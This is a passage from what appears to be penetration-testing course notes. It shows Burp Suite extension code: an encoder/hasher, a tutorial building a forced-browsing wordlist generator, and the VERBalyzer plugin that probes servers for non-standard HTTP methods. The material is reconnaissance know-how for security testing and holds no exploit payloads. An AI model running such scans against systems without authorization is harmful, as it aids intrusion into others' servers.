  3884.  
  3885.        boxHorizontal = swing.Box.createHorizontalBox()
  3886.        self.urlDecField = swing.JTextField('', 75)
  3887.        boxHorizontal.add(swing.JLabel("  URL         :"))
  3888.        boxHorizontal.add(self.urlDecField)
  3889.        boxVertical.add(boxHorizontal)
  3890.  
  3891.        boxHorizontal = swing.Box.createHorizontalBox()
  3892.        self.asciiHexDecField = swing.JTextField('', 75)
  3893.        boxHorizontal.add(swing.JLabel("  Ascii Hex :"))
  3894.        boxHorizontal.add(self.asciiHexDecField)
  3895.        boxVertical.add(boxHorizontal)
  3896.  
  3897.        boxHorizontal = swing.Box.createHorizontalBox()
  3898.        self.htmlDecField = swing.JTextField('', 75)
  3899.        boxHorizontal.add(swing.JLabel("  HTML       :"))
  3900.        boxHorizontal.add(self.htmlDecField)
  3901.        boxVertical.add(boxHorizontal)
  3902.  
  3903.        boxHorizontal = swing.Box.createHorizontalBox()
  3904.        self.jsDecField = swing.JTextField('', 75)
  3905.        boxHorizontal.add(swing.JLabel("  JavaScript:"))
  3906.        boxHorizontal.add(self.jsDecField)
  3907.        boxVertical.add(boxHorizontal)
  3908.  
  3909.        secondTab.add(boxVertical, "Center")
  3910.  
  3911.        thirdTab = swing.JPanel()
  3912.        thirdTab.layout = BorderLayout()
  3913.        tabbedPane.addTab("Hash", thirdTab)
  3914.  
  3915.        buttonPanel = swing.JPanel()
  3916.        buttonPanel.add(swing.JButton('Hash', actionPerformed=self.generateHashes))
  3917.        thirdTab.add(buttonPanel, "North")
  3918.  
  3919.        decPanel = swing.JPanel()
  3920.        boxVertical = swing.Box.createVerticalBox()
  3921.      
  3922.        boxHorizontal = swing.Box.createHorizontalBox()
  3923.        self.md5Field = swing.JTextField('', 75)
  3924.        boxHorizontal.add(swing.JLabel("  MD5        :"))
  3925.        boxHorizontal.add(self.md5Field)
  3926.        boxVertical.add(boxHorizontal)
  3927.  
  3928.        boxHorizontal = swing.Box.createHorizontalBox()
  3929.        self.sha1Field = swing.JTextField('', 75)
  3930.        boxHorizontal.add(swing.JLabel("  SHA-1     :"))
  3931.        boxHorizontal.add(self.sha1Field)
  3932.        boxVertical.add(boxHorizontal)
  3933.  
  3934.        boxHorizontal = swing.Box.createHorizontalBox()
  3935.        self.sha256Field = swing.JTextField('', 75)
  3936.        boxHorizontal.add(swing.JLabel("  SHA-256 :"))
  3937.        boxHorizontal.add(self.sha256Field)
  3938.        boxVertical.add(boxHorizontal)
  3939.  
  3940.        boxHorizontal = swing.Box.createHorizontalBox()
  3941.        self.sha512Field = swing.JTextField('', 75)
  3942.        boxHorizontal.add(swing.JLabel("  SHA-512 :"))
  3943.        boxHorizontal.add(self.sha512Field)
  3944.        boxVertical.add(boxHorizontal)
  3945.  
  3946.        boxHorizontal = swing.Box.createHorizontalBox()
  3947.        self.ntlmField = swing.JTextField('', 75)
  3948.        boxHorizontal.add(swing.JLabel("  NTLM       :"))
  3949.        boxHorizontal.add(self.ntlmField)
  3950.        boxVertical.add(boxHorizontal)
  3951.  
  3952.        thirdTab.add(boxVertical, "Center")
  3953.  
  3954.        # Add the custom tab to Burp's UI
  3955.        callbacks.addSuiteTab(self)
  3956.        return
  3957.  
  3958.    # Implement ITab
  3959.    def getTabCaption(self):
  3960.        """Return the text to be displayed on the tab"""
  3961.        return "Encode/Decode/Hash"
  3962.  
  3963.    def getUiComponent(self):
  3964.        """Passes the UI to burp"""
  3965.        return self.tab
  3966.  
  3967.    # Implement the functions from the button clicks
  3968.    def encode(self, event):
  3969.        """Encodes the user input and writes the encoded
  3970.        value to text fields.
  3971.        """
  3972.        self.b64EncField.text = base64.b64encode(self.textArea.text)
  3973.        self.urlEncField.text = urllib.quote(self.textArea.text)
  3974.        self.asciiHexEncField.text = binascii.hexlify(self.textArea.text)
  3975.        self.htmlEncField.text = cgi.escape(self.textArea.text)
  3976.        self.jsEncField.text = json.dumps(self.textArea.text)
  3977.  
  3978.    def decode(self, event):
  3979.        """Decodes the user input and writes the decoded
  3980.        value to text fields."""
  3981.        try:
  3982.            self.b64DecField.text = base64.b64decode(self.textArea.text)
  3983.        except TypeError:
  3984.            pass
  3985.        self.urlDecField.text = urllib.unquote(self.textArea.text)
  3986.        try:
  3987.            self.asciiHexDecField.text = binascii.unhexlify(self.textArea.text)
  3988.        except TypeError:
  3989.            pass
  3990.        parser = HTMLParser()
  3991.        self.htmlDecField.text = parser.unescape(self.textArea.text)
  3992.        self.jsDecField.text = re.sub(r'%u([a-fA-F0-9]{4}|[a-fA-F0-9]{2})', lambda m: chr(int(m.group(1), 16)), self.textArea.text)
  3993.  
  3994.    def generateHashes(self, event):
  3995.        """Hashes the user input and writes the hashed
  3996.        value to text fields.
  3997.        """
  3998.        self.md5Field.text = hashlib.md5(self.textArea.text).hexdigest()
  3999.        self.sha1Field.text = hashlib.sha1(self.textArea.text).hexdigest()
  4000.        self.sha256Field.text = hashlib.sha256(self.textArea.text).hexdigest()
  4001.        self.sha512Field.text = hashlib.sha512(self.textArea.text).hexdigest()
  4002.        self.ntlmField.text = binascii.hexlify(hashlib.new('md4', self.textArea.text.encode('utf-16le')).digest())
  4003.  
  4004. try:
  4005.    FixBurpExceptions()
  4006. except:
  4007.    pass
  4008. --------------------------------------------------------------------------------------------------------------------------------------------------------
  4009.  
  4010.  
  4011.  
  4012. ########################################################################
  4013. # Burp Extension Python Tutorial – Generate a Forced Browsing Wordlist #
  4014. ########################################################################
  4015.  
  4016.  
  4017. Setup
  4018.  
  4019. • Create a folder where you’ll store extensions – I named mine extensions
  4020. • Download the Jython standalone JAR file (http://www.jython.org/downloads.html) – Place into the extensions folder
  4021. • Download exceptions_fix.py (https://github.com/securityMB/burp-exceptions/blob/master/exceptions_fix.py) to the extensions folder – this will make debugging easier
  4022. • Configure Burp to use Jython – Extender > Options > Python Environment > Select file
  4023. • Create a new file (GenerateForcedBrowseWordlist.py) in your favorite text editor (save it in your extensions folder)
  4024.  
  4025. Full code: https://raw.githubusercontent.com/laconicwolf/burp-extensions/master/GenerateForcedBrowseWordlist.py
  4026.  
  4027.  
  4028. - Importing required modules, accessing the Extender API, and implementing the debugger
  4029.  
  4030. -----------------------------------------------------------------------------------
  4031.  
  4032. from burp import IBurpExtender, IContextMenuFactory
  4033. from java.util import ArrayList
  4034. from javax.swing import JMenuItem
  4035. import threading
  4036. import sys
  4037. try:
  4038.    from exceptions_fix import FixBurpExceptions
  4039. except ImportError:
  4040.    pass
  4041.  
  4042. ------------------------------------------------------------------------------------
  4043.  
  4044.  
  4045. The IBurpExtender module is required for all extensions, while IContextMenuFactory allows us to have the right-click functionality. The JMenuItem is used for the context menu GUI, and the ArrayList is to store our list of options that we want to appear in the context menu. The sys module is imported to allow Python errors to be shown in stdout with the help of the FixBurpExceptions script. I placed that in a Try/Except block so if we don’t have the script the code will still work fine.
  4046.  
  4047. This next code snippet will implement the FixBurpExceptions prettier debugger, set references to our callbacks and extension helpers, register our extension with Burp, and keep create a context menu. If you’re following along type or paste this code after the imports:
  4048.  
  4049. -------------------------------------------------------------------------------------
  4050. class BurpExtender(IBurpExtender, IContextMenuFactory):
  4051.    def registerExtenderCallbacks(self, callbacks):
  4052.      
  4053.        sys.stdout = callbacks.getStdout()
  4054.        self.callbacks = callbacks
  4055.        self.helpers = callbacks.getHelpers()
  4056.        self.callbacks.setExtensionName("Forced Browsing Wordlist Generator")
  4057.        callbacks.registerContextMenuFactory(self)
  4058.      
  4059.        return
  4060.  
  4061. try:
  4062.    FixBurpExceptions()
  4063. except:
  4064.    pass
  4065. -------------------------------------------------------------------------------------
  4066.  
  4067. The above class implements IBurpExtender, which is required for all extensions and must be named BurpExtender. Within the required method, registerExtendedCallbacks, the line self.callbacks keeps a reference to Burp so we can interact with it, and in our case will be used to set the extension name, and eventually obtain data from the Sitemap. The line callbacks.registerContextMenuFactory(self) tells Burp that we want to use the context menu, which is the right-click functionality. FixBurpExceptions is called at the end of the script just in case we have an error (Thanks for the code, SecurityMB!). The try/except block calling FixBurpExceptions will always go at the very end of the script.
  4068.  
  4069. Save the script to your extensions folder and then load the file into Burp: Extender > Extensions > Add > Extension Details > Extension Type: Python > Select file… > GenerateForcedBrowseWordlist.py
  4070.  
  4071. The extension should load without any errors or output. If you click on the Target > Sitemap and right-click something, if you go back to the Extender tab you should now have an error.
  4072.  
  4073. The error is recorded as NotImplementedError, because we invoked the iContextMenuFactory but did not implement any menu items. We can figure out why this happened by reviewing the Extender API documentation (either in Burp or online):
  4074.  
  4075. - the method createMenuItems() “…will be called by Burp when the user invokes a context menu anywhere within Burp. The factory can then provide any custom context menu items that should be displayed in the context menu, based on the details of the menu invocation.”
  4076.  
  4077.  
  4078. - Creating an interface to right-click and perform a function
  4079.  
  4080.  
  4081. We will create the menu items, and then define the functions that are called when the menu items are clicked:
  4082. ---------------------------------------------------------------------------------------------------
  4083.        ...
  4084.        callbacks.registerContextMenuFactory(self)
  4085.      
  4086.        return
  4087.  
  4088.    def createMenuItems(self, invocation):
  4089.        self.context = invocation
  4090.        menuList = ArrayList()
  4091.        menuItem = JMenuItem("Generate forced browsing wordlist from selected items",
  4092.                              actionPerformed=self.createWordlistFromSelected)
  4093.        menuList.add(menuItem)
  4094.        menuItem = JMenuItem("Generate forced browsing wordlist from all hosts in scope",
  4095.                              actionPerformed=self.createWordlistFromScope)
  4096.        menuList.add(menuItem)
  4097.        return menuList
  4098.  
  4099.    def createWordlistFromSelected(self, event):
  4100.        print "in createWordlistFromSelected"
  4101.  
  4102.    def createWordlistFromScope(self, event):
  4103.        print "in createWordlistFromScope"
  4104.  
  4105. try:
  4106.    FixBurpExceptions()
  4107. ...
  4108. --------------------------------------------------------------------------------------------------
  4109.  
  4110. Save the code and reload the extension. Try right-clicking in the Sitemap, and you should now see the option to “Generate forced browsing wordlist from selected items” or “Generate forced browsing wordlist from all hosts in scope”. Click on one of them, and it will execute the function, and you should see output in the Extender output pane.
  4111.  
  4112.  
  4113. Excellent. So far we’ve added out menu items to the context menu, and we are able to run our functions when the menu items are clicked. The next part of the program builds out these function further, and shows how to interact with the recorded HTTP requests and responses contained in the Sitemap.
  4114.  
  4115. We defined two menu options, “Generate forced browsing wordlist from selected items” or “Generate forced browsing wordlist from all hosts in scope”, so we need to actually make these functions do something other than print. They are actually both going to basically do the same thing, which is start another thread and call another function that will do most of the work. The only difference between the functions will be that createWordlistFromScope() will set a class variable that tells only looks at the sites in scope. On to the code. We edit the functions that we created so they will do more than just print:
  4116.  
  4117.  
  4118. ----------------------------------------------------------------------
  4119.  
  4120.    def createMenuItems(self, invocation):
  4121.        ...
  4122.        return menuList
  4123.  
  4124.    def createWordlistFromSelected(self, event):
  4125.        self.fromScope = False
  4126.        t = threading.Thread(target=self.createWordlist)
  4127.        t.daemon = True
  4128.        t.start()
  4129.  
  4130.    def createWordlistFromScope(self, event):
  4131.        self.fromScope = True
  4132.        t = threading.Thread(target=self.createWordlist)
  4133.        t.daemon = True
  4134.        t.start()
  4135.  
  4136.    def createWordlist(self):
  4137.        print "In createWordlist"
  4138.  
  4139. try:
  4140.    FixBurpExceptions()
  4141. ...
  4142.  
  4143. --------------------------------------------------------------------
  4144.  
  4145. The self.fromScope variable is set so the createWordlist function will know whether to look at all of the items in scope or to only look and the site(s) that were selected in the context menu. Then, a thread is defined (t), configured to run the createWordlist function (target=self.createWordlist), and start the thread. Without multi-threading, if we try to run the extension and have a large Sitemap or multiple targets selected, then the GUI will freeze while the program is running.
  4146.  
  4147. If you save and reload this extension, then right-click and send the data to our extension, you should receive the following output in the Extender output tab.
  4148.  
  4149. Now, we can finish the createWordList() function, which is where we interact with the Sitemap:
  4150.  
  4151. - Writing the function that interacts with requests and responses in the Sitemap
  4152.  
  4153. We can review the API documentation (within Burp) to see how to get the data from the Sitemap:
  4154.  
  4155. So if called without any parameter, the entire Sitemap is returned. If a URL prefix is specified, it will only return the Sitemap data that startswith the URL prefix. Recall that our program gives the user two options: “Generate forced browsing wordlist from selected items” or “Generate forced browsing wordlist from all hosts in scope”. To generate the wordlist for all hosts in scope we can return the entire Sitemap, and then use another Burp callbacks method isInScope() to determine whether or not we should use it. Note: When testing this extension I noticed that if you click on an out-of-scope entry in the Sitemap and select “Generate forced browsing wordlist from all hosts in scope”, it will still include that selection, as if it was in scope.
  4156.  
  4157. To generate the wordlist from selected items we first need to record what is selected, then we can either pull the entire Sitemap and compare the URLs we want, or we can give the getSiteMap() the URL prefix for each site individually. I chose the former for this program.
  4158.  
  4159. First, we determine what the user’s selection was:
  4160.  
  4161. -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4162.  
  4163.    def createWordlistFromScope(self, event):
  4164.        ...
  4165.        t.start()
  4166.  
  4167.    def createWordlist(self):
  4168.        httpTraffic = self.context.getSelectedMessages()        
  4169.        hostUrls = []
  4170.        for traffic in httpTraffic:
  4171.            try:
  4172.                hostUrls.append(str(traffic.getUrl()))
  4173.            except UnicodeEncodeError:
  4174.                continue
  4175. -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4176.  
  4177. Recall that self.context was what the user had selected in the Sitemap when they right-clicked, and the getSelectedMessages() method returns an array of objects containing data about the the items the user had selected. When I was developing the extension I inspected the object to get an idea of what it contained:
  4178.  
  4179. -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4180.  
  4181. print type(httpTraffic)
  4182. <type 'array.array'>
  4183.  
  4184. print dir(traffic)
  4185. ['...', 'b', 'class', 'comment', 'equals', 'getClass', 'getComment', 'getHighlight', 'getHost', 'getHttpService', 'getPort', 'getProtocol', 'getRequest', 'getResponse', 'getStatusCode', 'getUrl', 'hashCode', 'highlight', 'host', 'httpService', 'notify', 'notifyAll', 'port', 'protocol', 'request', 'response', 'setComment', 'setHighlight', 'setHost', 'setHttpService', 'setPort', 'setProtocol', 'setRequest', 'setResponse', 'statusCode', 'toString', 'url', 'wait']
  4186.  
  4187. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4188.  
  4189.  
  4190. We are interested in getting the URL from each object, so we iterate through the array and call the getUrl() method. This method returns a type of ‘java.net.URL’, which we convert to a string using str() and add it to our hostUrls list that we will use later to filter the Sitemap data. The try/except block is to deal with any encoding errors, which I handle by ignoring not adding it to the hostUrls list.
  4191.  
  4192. Now, we get the data from the Sitemap:
  4193.  
  4194. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4195.    def createWordlist(self):
  4196.        ...
  4197.                continue
  4198.  
  4199.        urllist = []
  4200.        siteMapData = self.callbacks.getSiteMap(None)
  4201.        for entry in siteMapData:
  4202.            requestInfo = self.helpers.analyzeRequest(entry)
  4203.            url = requestInfo.getUrl()
  4204.            try:
  4205.                decodedUrl = self.helpers.urlDecode(str(url))
  4206.            except Exception as e:
  4207.                continue
  4208.  
  4209.            if self.fromScope and self.callbacks.isInScope(url):
  4210.                urllist.append(decodedUrl)
  4211.            else:
  4212.                for url in hostUrls:
  4213.                    if decodedUrl.startswith(str(url)):
  4214.                        urllist.append(decodedUrl)
  4215.  
  4216. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4217.  
  4218. We initialize a new list (urllist) to hold the URLs from each site, then call getSiteMap(None), which will return all of the Sitemap entries. For each entry, we use the analyzeRequest() method to get the URL, and then URL decode each entry.
  4219.  
  4220. It is at this point that we get to our filtering. If self.fromScope is true, the isInScope() method is called on the URL. If that returns true, then the URL-decoded URL is appended to our urllist. If self.fromScope is False (meaning the user chose “Generate forced browsing wordlist from selected items”), the URL from the Sitemap is checked against the URLs that the user had selected in the context menu. If the decoded URL starts with the user-selected URL, then it is appended to the urllist.
  4221.  
  4222. Now, the urllist variable contains a list of URLs, complete with the querystring. Since we don’t need the querystring, and only want the last part of the path, we need to split up the URL and take only the part we want:
  4223.  
  4224. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4225.    def createWordlist(self):
  4226.        ...
  4227.                        urllist.append(decodedUrl)
  4228.  
  4229.        filenamelist = []
  4230.        for entry in urllist:
  4231.            filenamelist.append(entry.split('/')[-1].split('?')[0])
  4232.  
  4233.        for word in sorted(set(filenamelist)):
  4234.            if word:
  4235.                try:
  4236.                    print word
  4237.                except UnicodeEncodeError:
  4238.                    continue
  4239.  
  4240. try:
  4241.    FixBurpExceptions()
  4242. ...
  4243.  
  4244. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4245.  
  4246. The filenamelist is where we will store our forced browsing wordlist. We split each URL entry in urllist, first by the ‘/’. The split function() turns the string URL into a list, and the [-1] will grab the last element of that list. That last element will be the filename and any querystring, so it is split again at the ‘?’ and the first element is selected. For example:
  4247.  
  4248. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4249. >>> url = 'http://example.com/app/folder/file.php?param=value'
  4250. >>> url.split('/')
  4251. ['http:', '', 'example.com', 'app', 'folder', 'file.php?param=value']
  4252. >>> url.split('/')[-1]
  4253. 'file.php?param=value'
  4254. >>> url.split('/')[-1].split('?')
  4255. ['file.php', 'param=value']
  4256. >>> url.split('/')[-1].split('?')[0]
  4257. 'file.php'
  4258.  
  4259. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4260.  
  4261. That filename is appended into the filenamelist. Finally, we iterate through the filenamelist (after sorting and unique’ing the list) and print everything into the Extender output pane.
  4262.  
  4263. And that’s it! Save, reload, and you should now have a functional extension that makes use of the context menu and Sitemap.
  4264.  
  4265. - Full code:
  4266.  
  4267. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4268.  
  4269. __author__ = 'Jake Miller (@LaconicWolf)'
  4270. __date__ = '20190226'
  4271. __version__ = '0.01'
  4272. __description__ = """\
  4273. Burp Extension that extracts the filenames from URLs in
  4274. scope or from a selected host. Just right click on the
  4275. hosts pane in the sitemap and click 'Generate forced
  4276. browsing wordlist' for either selected items or all hosts
  4277. in scope. The output will appear in the extender tab, where
  4278. you can set configure the extension to output to the system console,
  4279. save to a file, or show in the UI.
  4280.  
  4281. Blog post explaining all the code in detail:
  4282. https://laconicwolf.com/2019/03/09/burp-extension-python-tutorial-generate-a-forced-browsing-wordlist/
  4283. """
  4284.  
  4285. from burp import IBurpExtender, IContextMenuFactory
  4286. from java.util import ArrayList
  4287. from javax.swing import JMenuItem
  4288. import threading
  4289. import sys
  4290. try:
  4291.    from exceptions_fix import FixBurpExceptions
  4292. except ImportError:
  4293.    pass
  4294.  
  4295. class BurpExtender(IBurpExtender, IContextMenuFactory):
  4296.    def registerExtenderCallbacks(self, callbacks):
  4297.      
  4298.        sys.stdout = callbacks.getStdout()
  4299.        self.callbacks = callbacks
  4300.        self.helpers = callbacks.getHelpers()
  4301.        self.callbacks.setExtensionName("Forced Browsing Wordlist Generator")
  4302.        callbacks.registerContextMenuFactory(self)
  4303.      
  4304.        return
  4305.  
  4306.    def createMenuItems(self, invocation):
  4307.        self.context = invocation
  4308.        menuList = ArrayList()
  4309.        menuItem = JMenuItem("Generate forced browsing wordlist from selected items",
  4310.                              actionPerformed=self.createWordlistFromSelected)
  4311.        menuList.add(menuItem)
  4312.        menuItem = JMenuItem("Generate forced browsing wordlist from all hosts in scope",
  4313.                              actionPerformed=self.createWordlistFromScope)
  4314.        menuList.add(menuItem)
  4315.        return menuList
  4316.  
  4317.    def createWordlistFromSelected(self, event):
  4318.        self.fromScope = False
  4319.        t = threading.Thread(target=self.createWordlist)
  4320.        t.daemon = True
  4321.        t.start()
  4322.  
  4323.    def createWordlistFromScope(self, event):
  4324.        self.fromScope = True
  4325.        t = threading.Thread(target=self.createWordlist)
  4326.        t.daemon = True
  4327.        t.start()
  4328.  
  4329.    def createWordlist(self):
  4330.        httpTraffic = self.context.getSelectedMessages()        
  4331.        hostUrls = []
  4332.        for traffic in httpTraffic:
  4333.            try:
  4334.                hostUrls.append(str(traffic.getUrl()))
  4335.            except UnicodeEncodeError:
  4336.                continue
  4337.  
  4338.        urllist = []
  4339.        siteMapData = self.callbacks.getSiteMap(None)
  4340.        for entry in siteMapData:
  4341.            requestInfo = self.helpers.analyzeRequest(entry)
  4342.            url = requestInfo.getUrl()
  4343.            try:
  4344.                decodedUrl = self.helpers.urlDecode(str(url))
  4345.            except Exception as e:
  4346.                continue
  4347.  
  4348.            if self.fromScope and self.callbacks.isInScope(url):
  4349.                urllist.append(decodedUrl)
  4350.            else:
  4351.                for url in hostUrls:
  4352.                    if decodedUrl.startswith(str(url)):
  4353.                        urllist.append(decodedUrl)
  4354.      
  4355.        filenamelist = []
  4356.        for entry in urllist:
  4357.            filenamelist.append(entry.split('/')[-1].split('?')[0])
  4358.  
  4359.        for word in sorted(set(filenamelist)):
  4360.            if word:
  4361.                try:
  4362.                    print word
  4363.                except UnicodeEncodeError:
  4364.                    continue        
  4365. try:
  4366.    FixBurpExceptions()
  4367. except:
  4368.    pass
  4369.  
  4370. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4371.  
  4372.  
  4373. #########################
  4374. # BurpVERBalyzer Plugin #
  4375. #########################
  4376.  
  4377. https://raw.githubusercontent.com/doyler/SecurityTools/master/BurpVERBalyzer/VERBalyzer.py
  4378.  
  4379. - Full code:
  4380.  
  4381. ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  4382.  
  4383. # VERBalyzer - Burp Plugin to detect HTTP Methods supported by the server
  4384. # Author: Ray Doyle (@doylersec) <https://www.doyler.net>
  4385. # Copyright 2017
  4386. #
  4387. # Licensed under the Apache License, Version 2.0 (the "License");
  4388. # you may not use this file except in compliance with the License.
  4389. # You may obtain a copy of the License at
  4390. #
  4391. # http://www.apache.org/licenses/LICENSE-2.0
  4392. #
  4393. # Unless required by applicable law or agreed to in writing, software
  4394. # distributed under the License is distributed on an "AS IS" BASIS,
  4395. # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  4396. # See the License for the specific language governing permissions and
  4397. # limitations under the License.
  4398.  
  4399. try:
  4400.    from burp import IBurpExtender
  4401.    from burp import IScannerCheck
  4402.    from burp import IScanIssue
  4403.    from burp import IScannerInsertionPointProvider
  4404.    from burp import IScannerInsertionPoint
  4405.    from burp import IParameter
  4406.    from array import array
  4407.    from org.python.core.util import StringUtil
  4408.    import string
  4409. except ImportError:
  4410.    print "Failed to load dependencies."
  4411.  
  4412. VERSION = "1.0"
  4413. callbacks = None
  4414. helpers = None
  4415.  
  4416. methods = [
  4417.    'OPTIONS',
  4418.    #'GET',
  4419.    #'HEAD',
  4420.    #'POST',
  4421.    'PUT',
  4422.    #'DELETE',
  4423.    'TRACE',
  4424.    'CONNECT'
  4425.    'PROPFIND',
  4426.    'PROPPATCH',
  4427.    'MKCOL',
  4428.    'COPY',
  4429.    'MOVE',
  4430.    'LOCK',
  4431.    'UNLOCK',
  4432.    'VERSION-CONTROL',
  4433.    'REPORT',
  4434.    'CHECKOUT',
  4435.    'CHECKIN',
  4436.    'UNCHECKOUT',
  4437.    'MKWORKSPACE',
  4438.    'UPDATE',
  4439.    'LABEL',
  4440.    'MERGE',
  4441.    'BASELINE-CONTROL',
  4442.    'MKACTIVITY',
  4443.    'ORDERPATCH',
  4444.    'ACL',
  4445.    'SEARCH',
  4446.    'PATCH',
  4447.    'FOO'
  4448. ]
  4449.  
  4450. class BurpExtender(IBurpExtender, IScannerInsertionPointProvider, IScannerCheck):
  4451.    def registerExtenderCallbacks(self, callbacks):
  4452.        self._callbacks = callbacks
  4453.        self._helpers = callbacks.getHelpers()
  4454.  
  4455.        callbacks.setExtensionName("VERBalyzer")
  4456.  
  4457.        callbacks.registerScannerInsertionPointProvider(self)
  4458.        callbacks.registerScannerCheck(self)
  4459.  
  4460.        print "Successfully loaded VERBalyzer v" + VERSION
  4461.        return
  4462.  
  4463.    # helper method to search a response for occurrences of a literal match string
  4464.    # and return a list of start/end offsets
  4465.    def _get_matches(self, response, match):
  4466.        matches = []
  4467.        start = 0
  4468.        reslen = len(response)
  4469.        matchlen = len(match)
  4470.        while start < reslen:
  4471.            start = self._helpers.indexOf(response, match, True, start, reslen)
  4472.            if start == -1:
  4473.                break
  4474.            matches.append(array('i', [start, start + matchlen]))
  4475.            start += matchlen
  4476.  
  4477.        return matches
  4478.  
  4479.    #
  4480.    # implement IScannerInsertionPointProvider
  4481.    #
  4482.    def getInsertionPoints(self, baseRequestResponse):
  4483.        requestLine = self._helpers.analyzeRequest(baseRequestResponse.getRequest()).getHeaders()[0]
  4484.  
  4485.        if (requestLine is None):
  4486.            return None
  4487.      
  4488.        else:
  4489.            # if the parameter is present, add a single custom insertion point for it
  4490.            return [ InsertionPoint(self._helpers, baseRequestResponse.getRequest(), requestLine) ]
  4491.      
  4492.    def doActiveScan(self, baseRequestResponse, insertionPoint):
  4493.        if 'HTTP Method' != insertionPoint.getInsertionPointName():
  4494.            return []
  4495.  
  4496.        issues = []
  4497.      
  4498.        for method in methods:
  4499.            checkRequest = insertionPoint.buildRequest(method)
  4500.            checkRequestResponse = self._callbacks.makeHttpRequest(baseRequestResponse.getHttpService(), checkRequest)
  4501.  
  4502.            matches = self._get_matches(checkRequestResponse.getResponse(), "HTTP/1.1 200 OK")
  4503.  
  4504.            if len(matches) > 0:
  4505.                # get the offsets of the payload within the request, for in-UI highlighting
  4506.                requestHighlights = [insertionPoint.getPayloadOffsets(method)]
  4507.  
  4508.                issues.append(CustomScanIssue(
  4509.                    baseRequestResponse.getHttpService(),
  4510.                    self._helpers.analyzeRequest(baseRequestResponse).getUrl(),
  4511.                    [self._callbacks.applyMarkers(checkRequestResponse, requestHighlights, matches)],
  4512.                    "Non-standard HTTP Method Found",
  4513.                    "The following method was found to be supported by the server: " + method,
  4514.                    "Medium"))
  4515.  
  4516.        return issues
  4517.  
  4518.    def doPassiveScan(self, basePair):
  4519.        return []
  4520.  
  4521.    def consolidateDuplicateIssues(self, existingIssue, newIssue):
  4522.        # This method is called when multiple issues are reported for the same URL
  4523.        # path by the same extension-provided check. The value we return from this
  4524.        # method determines how/whether Burp consolidates the multiple issues
  4525.        # to prevent duplication
  4526.        #
  4527.        # Since the issue name is sufficient to identify our issues as different,
  4528.        # if both issues have the same name, only report the existing issue
  4529.        # otherwise report both issues
  4530.        if existingIssue.getIssueDetail() == newIssue.getIssueDetail():
  4531.            return -1
  4532.        return 0
  4533.  
  4534. #
  4535. # class implementing IScannerInsertionPoint
  4536. #
  4537.  
  4538. class InsertionPoint(IScannerInsertionPoint):
  4539.  
  4540.    def __init__(self, helpers, baseRequest, requestLine):
  4541.        self._helpers = helpers
  4542.        self._baseRequest = baseRequest
  4543.  
  4544.        # parse the location of the input string within the decoded data
  4545.        start = 0
  4546.        self._insertionPointPrefix = requestLine[:start]
  4547.        end = string.find(requestLine, " /", start)
  4548.        if (end == -1):
  4549.            end = requestLine.length()
  4550.        self._baseValue = requestLine[start:end]
  4551.        self._insertionPointSuffix = requestLine[end:]
  4552.        return
  4553.      
  4554.    #
  4555.    # implement IScannerInsertionPoint
  4556.    #
  4557.    def getInsertionPointName(self):
  4558.        return "HTTP Method"
  4559.  
  4560.    def getBaseValue(self):
  4561.        return self._baseValue
  4562.  
  4563.    def buildRequest(self, payload):
  4564.        # Gross workaround via Dafydd - https://support.portswigger.net/customer/portal/questions/12431820-design-of-active-scanner-plugin-vs-insertionpoints
  4565.        if payload.tostring() not in methods:
  4566.            raise Exception('Just stopping Burp from using our custom insertion point')
  4567.        else:
  4568.            requestStr = self._baseRequest.tostring()
  4569.  
  4570.            newRequest = requestStr.replace(self._baseValue, payload)
  4571.            newRequestB = StringUtil.toBytes(newRequest)
  4572.      
  4573.            # update the request with the new parameter value
  4574.            return newRequestB
  4575.  
  4576.    def getPayloadOffsets(self, payload):
  4577.        return [0, len(payload.tostring())]
  4578.  
  4579.    def getInsertionPointType(self):
  4580.        return INS_EXTENSION_PROVIDED
  4581.  
  4582. #
  4583. # class implementing IScanIssue to hold our custom scan issue details
  4584. #
  4585. class CustomScanIssue (IScanIssue):
  4586.    def __init__(self, httpService, url, httpMessages, name, detail, severity):
  4587.        self._httpService = httpService
  4588.        self._url = url
  4589.        self._httpMessages = httpMessages
  4590.        self._name = name
  4591.        self._detail = detail
  4592.        self._severity = severity
  4593.  
  4594.    def getUrl(self):
  4595.        return self._url
  4596.  
  4597.    def getIssueName(self):
  4598.        return self._name
  4599.  
  4600.    def getIssueType(self):
  4601.        return 0
  4602.  
  4603.    def getSeverity(self):
  4604.        return self._severity
  4605.  
  4606.    def getConfidence(self):
  4607.        return "Certain"
  4608.  
  4609.    def getIssueBackground(self):
  4610.        pass
  4611.  
  4612.    def getRemediationBackground(self):
  4613.        pass
  4614.  
  4615.    def getIssueDetail(self):
  4616.        return self._detail
  4617.  
  4618.    def getRemediationDetail(self):
  4619.        pass
  4620.  
  4621.    def getHttpMessages(self):
  4622.        return self._httpMessages
  4623.  
  4624.    def getHttpService(self):
  4625.        return self._httpService
  4626.  
  4627.  
  4628.  
  4629.  
  4630.  
  4631.  
  4632.  
  4633.  
  4634.  
  4635.  
  4636. -------------------------- Old Content below --------------------------
  4637. -------------------------- Old Content below --------------------------
  4638. -------------------------- Old Content below --------------------------
  4639. -------------------------- Old Content below --------------------------
  4640. -------------------------- Old Content below --------------------------
  4641. -------------------------- Old Content below --------------------------
  4642. -------------------------- Old Content below --------------------------
  4643. -------------------------- Old Content below --------------------------
  4644. -------------------------- Old Content below --------------------------
  4645. -------------------------- Old Content below --------------------------
  4646. -------------------------- Old Content below --------------------------
  4647.  
  4648.  
  4649.  
  4650.  
  4651.  
  4652.  
  4653.  
  4654.  
  4655.  
  4656.  
  4657.  
  4658.  
  4659.  
  4660. #################################################
  4661. # Lesson 16: Parsing Packets with Python's DPKT #
  4662. #################################################
  4663. The first thing that you will need to do is install dpkt.
  4664.  
